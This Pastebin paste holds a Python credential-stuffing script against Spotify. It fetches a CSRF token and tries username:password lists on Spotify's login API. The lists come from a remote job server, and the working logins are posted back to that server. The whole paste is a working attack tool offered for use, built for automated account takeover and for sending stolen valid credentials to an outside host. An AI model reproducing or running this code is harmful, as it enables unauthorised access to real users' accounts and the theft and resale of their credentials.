Guest User

Untitled

a guest
Dec 21st, 2019
1,431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.89 KB | None | 0 0
  1. import requests
  2. import time
  3.  
  4. #vars
  5. url = 'https://google.api/index.php'
  6.  
  7. def getCSRFtoken():
  8. while True:
  9. csrf_request = requests.get('https://accounts.spotify.com')
  10. if csrf_request.status_code == 200 and "429" not in csrf_request.text:
  11. break
  12. print("Oops, retry csrf")
  13. return csrf_request.cookies.get("csrf_token")
  14.  
  15. def SpotifyCheck(combo):
  16. combo = combo.split(":")
  17.  
  18. api_request = requests.Session()
  19.  
  20. csrf_token = getCSRFtoken()
  21.  
  22. cookies = {"fb_continue" : "https%3A%2F%2Fwww.spotify.com%2Fid%2Faccount%2Foverview%2F", "sp_landing" : "play.spotify.com%2F", "sp_landingref" : "https%3A%2F%2Fwww.google.com%2F", "user_eligible" : "0", "spot" : "%7B%22t%22%3A1498061345%2C%22m%22%3A%22id%22%2C%22p%22%3Anull%7D", "sp_t" : "ac1439ee6195be76711e73dc0f79f89", "sp_new" : "1", "csrf_token" : csrf_token, "__bon" : "MHwwfC0zMjQyMjQ0ODl8LTEzNjE3NDI4NTM4fDF8MXwxfDE=", "remember" : "[email protected]", "_ga" : "GA1.2.153026989.1498061376", "_gid" : "GA1.2.740264023.1498061376"}
  23. headers = {"User-Agent" : "Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4", "Accept" : "application/json, text/plain", "Content-Type": "application/x-www-form-urlencoded"}
  24. payload = {"remember" : "false", "username" : combo[0], "password" : combo[1], "csrf_token" : csrf_token}
  25.  
  26. response = api_request.post("https://accounts.spotify.com/api/login", data=payload, headers=headers, cookies=cookies)
  27.  
  28. try:
  29. if response.json().get("error"):
  30. return False
  31. except Exception:
  32. return False
  33.  
  34. return True
  35.  
  36. while True:
  37. goodComboList = ""
  38.  
  39. #get new job
  40. jobrequest = requests.get(url+'?checker=1&getnextjob=')
  41. if jobrequest.status_code != 200:
  42. print("script error:1")
  43. time.sleep(5)
  44. continue
  45. if "NaN" in jobrequest.text:
  46. print("script error:2")
  47. print(jobrequest.text)
  48. time.sleep(5)
  49. continue
  50.  
  51. jobid = jobrequest.text.split('jobid:')[1]
  52. print("Job Received: #"+jobid)
  53.  
  54. #get combos
  55. jobrequest = requests.get(url+'?checker=1&jobdetails='+jobid)
  56. if jobrequest.status_code != 200:
  57. print("script error:3")
  58. continue
  59. combos = jobrequest.text.split("\r\n")
  60. print("Fetched "+str(len(combos))+" combos")
  61.  
  62. #crack them
  63. count = 0
  64. for combo in combos:
  65. try:
  66. if SpotifyCheck(combo) == True:
  67. goodComboList = goodComboList+combo
  68. if count != len(combos):
  69. goodComboList = goodComboList+"\r\n"
  70. count = count+1
  71. except:
  72. print("exception")
  73.  
  74. #send results
  75. payload = {'result': goodComboList}
  76. jobrequest = requests.post(url+'?checker=1&jobresults='+jobid, data=payload)
  77.  
  78. print("Job Done")
Advertisement
Add Comment
Please, Sign In to add comment